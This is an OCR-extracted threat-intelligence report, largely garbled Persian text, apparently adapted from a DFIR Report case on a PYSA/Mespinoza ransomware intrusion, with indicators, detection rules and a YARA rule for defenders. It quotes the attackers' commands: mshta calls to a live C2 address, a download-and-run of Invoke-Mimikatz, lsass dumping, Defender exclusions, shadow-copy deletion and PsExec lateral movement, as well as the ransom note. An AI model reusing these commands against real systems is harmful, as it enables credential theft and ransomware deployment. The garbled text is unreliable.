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PYSA/Mespinoza Ransomware
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Taskmanager L Isass ;0,5 culs @

Procdump L Isass ;5,5 cwls @

comsvces.dll L Isass ;o5 cwls @

Invoke-Mimikatz L laasl Locl 5,5 wls @

als oS J S 5 ntds.dit LG ;1 (shadow copy) ale oS 7zl 5el e
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2 checklist playbook
3 pivot
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Mespinoza/PYSA Ransomware

00:06 UTC RDP login as Domain
Administrator into workstation

O 8 Discovery command
execut

00:09 Lateral movement to a
domain controller using RDP

00:21 Advanced Port Scanner
dropped and executed on
domain controller

00:31 Empire executed on
domain controller

00:45 PowerShell Remoting from
one domain controller to another

00:52 Lsass dumped on domain
controller via Task Manager

2:36 Credential access attempt
via PseExec and comsvcs.dll
across all systems

2:40 Koadic execution on
domain controller

C2 45.147.231.210
01:18 Registry hives & keys
exfiltrated via Koadic from
domain controller

04:20 Invoke-Mimikatz ran on
domain controller

05:11 Koadic execution on
backup server

C2 45.147.231.210

05:41 Koadic persistance setup
on domain controller

06:22 Shadow copy created and
then then deleted on the domain
controller

07:31 PYSA ransomware install
begins
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s 5l st Koadic sl gl is S solasl Koadic sl as Koo 5l S5 51 o Souags e Jsb 4o Ty
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mshta http://45.147.231.210:9999/8k6Mq

mshta http://45.147.231.210:9999/Vtgy T
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Lo ol aladl> jo (StAge 2) pao al> o (5,105 ,L (sl Al Y5558 sleanT i dyal g0 ol 5l

Koadic Execution

Parent Process Process Process Commandline
CAWindows\System32\cmd.exe mshta.exe http://45147.231.210:9999/NtgyT

T C\Windows\system32\cmd.exe /q /c chcp 437 &amp; whoami /all 1&gt; C\Users\USER-T\AppData\Local\

45147.231.210:9999 ’ Temp\2\18edc778-e76¢-aal8-a97b-405f575fde7f txt 2&gt.8amp;]

http//45147.231.210:9999/VtgyT?Q087632GJ1=331040ceBaf14667b3550a4c06f22999;ILAFSVIZIL=\\ \ \\.\\/

rundiiz2.exe mshtml RunHTMLApplication

SyE Wil
58S pls o &8lg HTA LB G sl>! ey task G sangle; sl Koadic i eslaiul L 5,5 wk
seTKoadic jgm a1, C2 LLs,1 IS ol .o oudais System lgie 4 54,9 obo; 0 C:\ProgramData

S e

schtasks/create/tnKOadic/tr"C:\Windows\system32\mshta.exe
C:\ProgramData\SZWXNUHHDP.hta" /sc onlogon /ru System /f

4 child processes
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o Ll 51 41,8
Q30,5 Jlé . |, Windows Defender .Local Group Policy Editor ;i eolacul b o) Sasags
& Turn off Windows Defender Antivirus O >
E: Turn off Windows Defender Antivirus R Next Setting
() Not Configured Comment:
(®) Enabled
() Disabled
Supported on: | At jeast Windows Vista
Cpticns: Help:

This policy setting turns off Windows Defender Antivirus.

If you enable this policy setting, Windows Defender Antivirus
does not run, and computers are not scanned for malware or

ol S oo Jbd e |, Windows Defender o Lgs a5 wis S Lol 1o sl o Sl S uizmons LsT ey
agents Malwarebytes e oo Sl (ol ol sl IS sl MpPreference ;I eolacul b b
O+ ) awlis LEvent wls )18 Gua |, Koo slaasT s 5l s Lws 3 SQL Veeam Exchange (Citrix

A ols! Defender g g ool S5 o0 cdaslone o Jd e Lo &
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silent ‘noreboot
Security Client\Setup.exe"

.DisplayName -Servi Force
.DisplayName t-Servi StartupType Disabled

point");s("

Add-MpPreference -ExclusionExtension ".e

set- terRestorePoint | Delete-ComputerRestorePoint;

dism ‘online /Disable-Feature  FeatureName: Windows-Defender /Remove  NoRestart /quiet
vssadmin delete shadows /all /quiet

wbadmin stop job

cmd.exe /¢ assoc .README-txtfile

QS Ll | Xe. wigas b > aca b ol adlsl 55 Defender ol » Liial O
Add-MpPreference -ExclusionExtension ".exe "

OerV olag gy awll

Bl el o laiie e Sy, o opl ST .cwl 00,5 s Windows Defender yug 5 261 (g0,
Al 18l Al Gl S 1y 3 aulS cwy o |y Slegdas

:‘54L£uX§ )‘ukaﬂ
New value: HKLM\SOFTWARE\Microsoft\WindowsDefender\Exclusions\Extensions\.exe = 0x0
aolloiel ay  w yiwd

Laaals Lzl aliS ales & laasl sl (o pglanm gl |y goonie GeSiSS oii oyl Jsb 5o o Souigs

D30 ol gww ;2 4 RDP Jlasl oK Task Manager G ,b 5l cews & g0 4
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"File created:
RuleMame: -

FI
CreationUtcTime:

L6 51 shadow copy G crimed 50005 oy Hiias als saisS JyuS SO (g9, &5 b 0
(Koadic) og5 C2 JUIS 5,k 511, T ol Jlas! 4y g 355,5 Toss (awyiws o] a0 g 00,5 slw! Ntds.dit

.JJQ)S—EZ)ES

\AppDatalLocall Temp

mandLine: "C [ " tp://45.14 1464adbas4fed7ddalendsfdead
unHTHMLAppLi

Coddge b (6,958 pls 45T asals sl g sl Shadow Copy (s .5 laiio) YAVY awls b slasg,
eyl S eizmad Gl,5 a8 0l Cad el 00iS 1S (65, (55555 1S gy Sl gy SY 50 (0 el
3l 0,8 cals sl comsves.dll i as wis,S ol eyl js 0 PSEXEC 5l eoliiwl b 1, Lo ,5b
oS aels oS J S S (g9, 993 © obmly dhaii Cuxdae a4 1) cwld uw g 0,5 o eoliiwl ISass

J«.’Q;L;O

v:computername;

$procid = Get-Process | Where ect {$_.ProcessName F|s

Powershell ¢ rundll32.exe C: Windows' System32 comsvcs.dll, MiniDump
= eEp -S

Path $Env:TEMP$computerName -Destination

5 pivot position
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Sbb abi g9, ol>! b Ll S solansl Sysinternals ProcDump g, 5l i ,S oaw oyl Sasags

RONIRY N

‘procdump.exe -accepteula -ma Isass.exe mem.dmp’

Ol l38le 5 (35w 5 laasl el 15 caiogy 35 peie (laitdy j9m 895 Yok (e slp oS 0ays
2o 1>l PowerShell ISE &, ,b 5l s Sl 90 12 .08 oo olaS 50, ool (ke

Q50,8 1>l asals slaoasss J S 51 S 9, BC-Security ;I 1, Invoke-Mimikatz :cowen o Sasags

IEX (New-Object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-
SECURITY/Empire/master/data/module_source/credentials/Invoke-
Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz —
DumpCreds

ps C:\Users | > 1cx (/'cv-Object Net.WebClient).DownloadString
("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.psl");
Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds

Hostnane : |

s mimikatz 2.2.8 (x64) #19841 Oct 4 2020 18:28:51

VM . A La Vie, A L'Amour” - (oe.eo)

## / N\ #  /*** Benjamin DELPY ~“gentilkiwi® ( benjamin@gentilkiwi.com )

## N/ #HE > https://blog.gentilkiwi.com/mimikatz

TEE v Vincent LE TOUX ( wvincent.letoux@gmail.com )
" T > https://pingcastle.com / https://mysmartlogon.com *=%/

mimikatz(powershell) # privilege::debug
Privilege '28° 0K

Hostnane: |

LR mimikatz 2.2.@ (x64) #19841 Oct 4 2020 18:28:51

JHE M . UA La Vie, A L Amour” - (oe.eo)

## /S \ # /F*% Benjamin DELPY ~gentilkiwi”™ ( benjamin@gentilkiwi.com )

N S HE > https://blog.gentilkiwi.com/mimikatz

CHE v P Vincent LE TOUX ( vincent.letoux@gmail.com )
" > https://pingcastle.com / https://mysmartlogon.com **%/

mimikatz(powershell) # sekurlsa::logonpasswords
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l,>I 1, impacket a5 Koadic ,o hashdump_sam Jgilo 5l solaul b ol Sas0gs a5 saaud wiores
23,5 0,58 S (59, |, LSA Secrets s o

data.win.eventdata.commandLine
\\CurrentControlSet\\C
urrentControlSe Ci LY \GBG \ ‘\\AppDatal\
2\\reg.exe\" save HKLI o4 \\CurrentControlSet\\Control\\ W\ Skes HARY s\ \VAppData\ilocal\\Temph \2\\425kew1 /[y
2\\reg.exe\"” save HKL \\CurrentControlSet\\Control\\Lsa\\JD C:\\ 3 \\AppDatai\Local\\Temp\\2\\42JD /y

URITY [y

JNAppData\\Local\\Temp\\2

W) ‘):>‘ Aol o.)..,..,SLJ),..S ASJ S9) Invelgh

mj Inveigh-Log.txt - Notepad
File Edit Format View Help

*] Inveigh 1.586 started at || NG
+] Elevated Privilege Mode = Enabled

+] Primary IP Address =
+] Spoofer IP Address =
+] ADIDNS Spoofer = Disabled

+] DNS Spoofer = Enabled

+] DNS TTL = 38 Seconds

+] LLMNR Spoofer = Enabled

+] LLMNR TTL = 38 Seconds

+] mDNS Spoofer = Disabled

+] MBNS Spoofer = Disabled

+] SMB Capture = Enabled

+] HTTP Capture = Enabled

+] HTTPS Capture = Disabled

+] HTTP/HTTPS Authentication = NTLM

+] WPAD Authentication = NTLM

+] WPAD NTLM Authentication Ignore List = Firefox
+] WPAD Response = Enabled

+] Kerberos TGT Capture = Disabled

+] Machine Account Capture = Disabled

+] Console Qutput = Disabled

+] File Output = Enabled

+] Output Directory = C:\Users\Public

+] Run Time = 38 Minutes

1] Run Stop-Inveigh to stop

[ T s T s T e B s B s I s T s T s Y e B s B s B s T s T s T e T s Y s B e W s T s T s B s B e M|
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) O)lye ke 5l anis ;S oolannl S (6l jeans (JSI sbalnl ) sl 5l BT
qguser.exe
whoami.exe /user
net.exe group /domain
net.exe group "Domain Users" /domain
nltest.exe /dclist:
arp -a
commandLine VCIOZVAWLndows\ \system32\\cmd.exe\" fc arp -a
Microsoft Corporation
viDocumentsh,

Windows Command Processor

SHA1=8C5437CDT6ABIECOE3EIB3I64E219944DA3DABAGS, MD 5=
CAFBSE18

C:\ViWindows\\System32\\cmd.exe

High

Cmd.Exe
indows\\ sy 2\ \wsmprovhost.exe -Embedding

smprovhost.exe
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& 1,>1 PowerShell Remoting 5l eolaw! L arp jgiws
POST fwsman?PSVersion=4.0 HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/encrypted;protocol="application/HTTP-Kerberos-session-encrypted”;boundary="Encrypted Boundary”
User-Agent: Microsoft WinRM Client

Content-Length: 8029
Host: 5985

% 1,1 PowerShell Remoting 5l solawwl L arp jgws

ialoz 5150 )8 cwyp l) (Supe lnl wiz @Sih [0 (BelS (e )0 Cizres Ll
mmec.exe C:\Windows\system32\dnsmgmt.msc
mmc.exe C:\Windows\system32\domain.msc
mmc.exe C:\Windows\system32\compmgmt.msc /s
mmc.exe C:\Windows\system32\gpedit.msc
mmc.exe C:\Windows\system32\diskmgmt.msc
mmc.exe C:\Windows\system32\wbadmin.msc

veeam.backup.shell.exe
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alox 5l W 03,5l 095 b aiS Sldee 4 SKoS glp 1) 045 L NN [T ERCE U SV S JL RV
Ll 00 03,91 ADRECON wilisgs x| ,o ADRecon 4 Advanced Port Scanner

The following information is gathered by the tool:

¢ Forest;

¢ Domain;

¢ Trusts;

¢ Sites;

¢ Subnets;

¢ Default and Fine Grained Password Policy (if implemented);

¢ Domain Controllers, SMB versions, whether SMB Signing is supported and FSMQ roles;
¢ Users and their attributes;

¢ Service Principal Names (SPNs);

¢ Groups and memberships;

¢ Organizational Units (QUs);

¢ GroupPolicy objects and gPLink details;

¢ DNS Zones and Records;

¢ Printers;

¢ Computers and their attributes;

¢ PasswordAttributes (Experimental);

¢ LAPS passwords (if implemented);

¢ BitLocker Recovery Keys (if implemented);

o ACLs (DACLs and SACLs) for the Domain, OUs, Root Containers, GPO, Users, Computers and Groups objects;
¢ GPOReport (requires RSAT);

¢ Kerberoast (not included in the default collection method); and

¢ Domain accounts used for service accounts (requires privileged account and not included in the default collection
method).

S9y Ll Jb o slanld 0,5 canpnd lp PSS gws siile PowerShell ;1 oslecul b o)lge oy

@ Securityworld.ir Challenginno.ir



i iy = g a2 55 ()

beachhead L. I RDP o plosl Sasags lawgs adgl cw iws 5l o 4o ¥ g5 il o8 > ]l

00,5 ookl liwe dgl 4 cw s (Glp A (6 e (60,5 Clus sl oolatnl b aals ouisS J S S a

Lise pulyw o alize Glopiums 4 (o yiwd plBa o Sl (s, ondgl laie 4 RDP o lel wisg

BUPYESC I EY W e LQ)BT@.? BT ORT-5 W LI PESIP FREUONP SN JL g VRV STGr R VE ] IPRRGIX. I AR
Isass ;0,5 culs sl |, comsves.dil a5 oo )5 eolaiwl i 5l co Sl G sly>! sl PSExec

250 Sl

PsExec.exe —d \\HOST -u "DOMAIN\USER" -p "PASSWORD" -accepteula -s cmd /c
"powershell.exe -ExecutionPolicy Bypass -file
\\DOMAINCONTROLLER\share$\p.ps1"

JreS g paile s
sllP a5 solar.! Koadic 3 PowerShell Empire RDP _x ccalisee C2 JUS Y 51 ) Sasogs
RDP 5y b 5l s s Lad> gl s oy ool
VA8 00
IAAREFAALE
YR CARRRL &

Empire

VAFYSN - VEFFY

Certificate [b8:20:c2:db:b6:b8:f4:0f:61:25:¢c0:27:40:89:6:30:cd:db:05:5e[
Not Before 2020/09/17 18:38:42

Not After 2021/09/17 18:38:42

Public Algorithm rsaEncryption

JA3: 5e12c14bdad7ac941fc4e8e80d0e536f

JA3s: 0eec924176fb005dfa419c80ab72d27¢c

\‘_"@,'ﬁy L] L] o Ll
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POST NtgyT?Q0876J2GJ1=331040ce8af14667b3550a4c06f22999 ILAFEVSTIL=; HTTP/1.1
Connection: Keep-Alive

Content-Type: application/octet-stream

Accept: ®*

Accept-Language: en-US

Referer: http://45.147.231.210:9999N gy T

User-Agent: Mozilla/4.0 {compatible; Win32; WinHttp WinHttpRequest.5)
encoder: 1252

shellchcp: 437

Content-Length: 176

Host: 45 147 231.210:5933

Hewd lhxl g FANFY.YYIYY 2944 ool L Koadic S 5 paile,d j9,m 40 (Check-in) sbeus
GET NigyT?Q0876J2G)1=331040ce8af14667b3550a4c06f22999; ILAFEVITIL=\. . A\ /mshtml RunHTMLApplication HTTP/1.1
Accept: 5*

Accept-Language: en-US

UA-CPU: AMDE4

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 {compatible; MSIE 7.0; Windows NT 6.3; Win&4; x64; Tndent/7.0; NET4 0E; NET4.0C)

Host: 45 147.231.210:9999
Connection: Keep-Alive

o3ld Z g5
Slele canary documents s saslice ool (yie &ygo 4 slools 79,5 zd 3985l Jgb j0 ax 31

Sl 51 B 4SS 5 0ud (5 slaiels 25 oo a0l oS wiad 5L Bl S e baws 6252l 5l om
RDP &Ylas!l wsle % Lg)L:;é sl Q—.’.‘ )'| T..Swo IP LgLQu»)oT el o0l solazul L@Jilé LS)JW 6\,3

byl b i samlie solw e Gygo a4 slosls zg,5 e a5 ol 5l aog TOr (59,5 slas,5
el Koadic L Empire RDP _xs ¢ J S 5 (paile,d slaJUS 51 S G,k 5l eols 7,5 45 oS oo

! 00U

1305 W) siasw 2 (59, RDP &3 b 5l Ll g0 ais S 5Ll 1 15810l aal ] Faoags V.0 celw sg0>
JPIEL @b BB o s o5k con Sl S

PYSA. C:\Users\USER\Downloads\svchost.exe
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C:\Users\USER\Downloads\p.ps1

Aogs o Jlad e 3985 Job jo Cwl ;San aS g0 el (sl Il 50 ST Jled e ¢ Lol o (Sl 5l Bas
azl oad Ui 1ol b o gloonsTb Liwgs 05 s S y3 ol e 45 45 S el

silent 'noreboot

tupType Disabled

(*secu (
eal timeMoni toring
sionExtension

ItenType 1
Expand Matches

St lder
gorithn] - Create( ).ComputeHash([Systen. Text. Encoding] - UTF8. GetBytes( NI
ing( »
¥
Tostring()

Class Win32_UserAccount -Computeriame COMPUTERNAME LocalAccount ExpandProperty name

Get-StringHash
substring( , )
([adsi] ).SetPassword( " $p

Wk (Sl a9 05 L2l IBI2L a2t Ll ol 5o

Hi Company,

Every byte on any types of your devices was encrypted.
Don't try to use backups because it were encrypted too.

To get all your data back contact us:
gprotonmail.com
rotonmail.com

Also, be aware that we downloaded files from your servers and in case of non-payment we will be forced to upload
them on our website, and if necessary, we will sell them on the darknet.
Check out our website, we just posted there new updates for our partners: http:// onion/

): How can I make sure you don't fooling me?
: You can send us 2 files(max 2mb).

): What to do to get all data back?
: Don't restart the computer, don't move files and write us.

): What to tell my boss?
: Protect Your System Amigo.
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MISPPrivhttps://misppriv.circl.lu/events/view/811050TX
https://otx.alienvault.com/pulse/5fbb23c7dfc6aa0ffd92d27f

Network

1AA27.100.
YrAYasfaa-
VABXY )+« Y¥-

http://45.147.231.210:9999/8k6Mq
http://45.147.231.210:9999/VtgyT
FONFY.YYIYY .

KA ARG

https://194.36.190.74

File

svchost.exe
bd395971a7eb344673de513a15¢c16098

1db448b0f1adf39874d6eabb245b9623849f48e5

df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5¢3640b482b4abe

p.psl
2df8d3581274a364c6bf8859c9bdc034

8af4bfcefOf3fefae3f33b86815a6f940b64f4b7

eb1d0acd250d32e16fbfb04204501211ba2a80e34b7ec6260440b7d563410def

p.psl
1dal1f49900268fa7d783feda8849e496

72f2352eab5cb0357bdf5950c1d0374a19cfdf99

10Cs

Oab8fl4e2cle6f7c4dfa3d697d935d4fbef3605e15fd0d489d39b7f82c84ba7e

XEKFGUIQQB.hta
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5266daf58dd34076e447474c7dce09b2
b0197a53a56939d3d9006df448bc46ef599bac31
81e0d5945ab7374caf2353f8d019873c88728a6c289884a723321b8a21df3c77
Detections

Network

ETPRO TROJAN Win32/Koadic CnC Checkin

ETPRO TROJAN Koadic Command Execution via CnC

ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection

ET POLICY Outbound MSSQL Connection to Non-Standard Port - Likely Malware
ET SCAN NMAP SIP Version Detect OPTIONS Scan

ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server(

GPL SNMP public access udp

ET SCAN Behavioral Unusual Port 139 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 135 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection

ET SCAN Potential SSH Scan OUTBOUND

Sigma

win_hack_koadic

win_mshta_spawn_shell

win_susp_whoami

win_local_system_owner_account_discovery

win_susp_schtask_creation
win_susp_powershell_empire_launch sysmon_susp_vssadmin_ntds_activity
Yara

%/
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YARA Rule Set

Author: The DFIR Report

Date: 2020-11-16

Identifier: Case 1010

Reference: https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
|5

#/Rule Set/sx

import "pe"
rule mespinoza_svchost}
meta:

description = "files - svchost.exe"

author = "The DFIR Report"

reference = "https://thedfirreport.com”

date = "2020-11-16"

hash1 = "dfOcd6a8a67385ba67f9017a78d6582db422a137160176c2c5¢3640b482b4abc”
strings:

$s1 -
" ?AV?STF_CryptoSystemBase@VPK_Encryptor@CryptoPP@@V?STF_Base@VRandomizedTrap
doorFunction@CryptoPP@@VPK_EncryptionMessageEncoding" ascii

$s2 = "protonmail.com" fullword ascii
$s4 = "update.bat" fullword ascii

$s5 -
" ?AV?SCipherModeFinalTemplate_CipherHolder@V?SBlockCipherFinal @ SOA@VEnc@Rijndael
@CryptoPP@ @ @CryptoPP@@VCBC_Encryption@2@ @CryptoP" ascii

<
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$s6 -
" ?AV?SAlgorithmIimpl@VCBC_Encryption@CryptoPP@ @V?SCipherModeFinalTemplate_Ciphe
rHolder@V?SBlockCipherFinal @ SOA@VEnc@Rijndael@Cryp" ascii

$s7 -
" ?AV?STF_ObjectimplBase@VTF_EncryptorBase@CryptoPP@ @U?STF_CryptoSchemeOptions
@V?STF_ES@URSA@CryptoPP@@V?SOAEP@VSHA1@CryptoPP@ @VP" ascii

$s8 -
"?AV?STF_Objectimpl@VTF_EncryptorBase@CryptoPP@@U?STF_CryptoSchemeOptions@V?
STF_ES@URSA@CryptoPP@@V?SOAEP@VSHA1@CryptoPP@@VP1363" ascii

$s9 -
" ?AV?STF_Encryptorimpl@U?STF_CryptoSchemeOptions@V?STF_ES@URSA@CryptoPP@@V?
SOAEP@VSHA1@CryptoPP@@VP1363 MGF1@2@@2@H@CryptoPP@@UR" ascii

$s10 =
" ?AV?STF_Encryptorimpl@U?STF_CryptoSchemeOptions@V?STF_ES@URSA@CryptoPP@@V?
SOAEP@VSHA1@CryptoPP@@VP1363 MGF1@2@@2@H@CryptoPP@@UR" ascii

$s11 =
" ?AV?STF_ObjectimplBase@VTF_EncryptorBase@CryptoPP@@U?STF_CryptoSchemeOptions
@V?STF_ES@URSA@CryptoPP@ @V?SOAEP@VSHA1@CryptoPP@ @VP" ascii

$s12 =
" ?AV?SAlgorithmImpl@VTF_EncryptorBase@CryptoPP@@V?STF_ES@URSA@CryptoPP@@V?
SOAEP@VSHA1@CryptoPP@@VP1363 MGF1@2@@2@H@2@ @CryptoPP@@" ascii

$s13 =
" ?AV?STF_Objectimpl@VTF_EncryptorBase@CryptoPP@@U?STF_CryptoSchemeOptions@V?
STF_ES@URSA@CryptoPP@@V?SOAEP@VSHA1@CryptoPP@@VP1363" ascii

$s14 = "Check out our website, we just posted there new updates for our partners:" fullword ascii

$s15 = "Also, be aware that we downloaded files from your servers and in case of non-payment
we will be forced to upload them on our web" ascii

$s16 =
"E3AF7F517600CD3B9006519EA9E24F65CE0318C3F326A20C1C73F644F32C4CDCEE7A398153C
29C4B844A7388D63946DEA

F232A47113B5608F58A42667FB4C573" ascii
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$s17 =
"30820220300D06092A864886F70D01010105000382020D003082020802820201009A673A7A8
FD521FAE7C950BDFAAS5F5EF3FFC13E75D35C9110080751117874E" ascii

$s18 =
"A76229D9DAD792BF87826DBEOFFED40OE7CEE781DF4ES8B4AF086E21D41CE0912DAC6252A512
B4AC81F98E46F1268F7C55B5160A7B47FF7C33D2D0A1073C970FDAB" ascii

$s19 =
"CE012C93EC57B77DB5D9D4C345E7F3A2564C09E728C8B38CCD6A824C070EDDA34DA708266
5B0732783868CE38C5F2A78DADEB1D63423BCE555A6BC2D1BE49630" ascii

$s20 =": ;+;6;?;E;" fullword ascii /* hex encoded string 'n/s '
condition:

uint16(0) == 0x5a4d and filesize < 2000KB and

ype.imphash() == "b5e8bd2552848bb7bf2f28228d014742" or 8 of them(

}
MITRE

e External Remote Services —T1133

e Valid Accounts —T1078

e Graphical User Interface — T1061

e Mshta—T1218.005

e PowerShell - T1059.001

e Local Account —T1087.001

e Remote System Discovery —T1018

e File and Directory Discovery — T1083

e Domain Trust Discovery — T1482

e Account Discovery — T1087

e Scheduled Task —T1053.005

e Lateral Tool Transfer —T1570

e SMB/Windows Admin Shares —T1021.002

e Remote Desktop Protocol — T1021.001

e Credential Dumping — T1003

e LSASS Memory —T1003.001
° Process Discovery — T1057
. Standard Application Layer Protocol — T1071
° Exfiltration Over C2 Channel —T1041
° Data Encrypted for Impact — T1486
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e Rundll32 -T1218.011 Internal case 1010

https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
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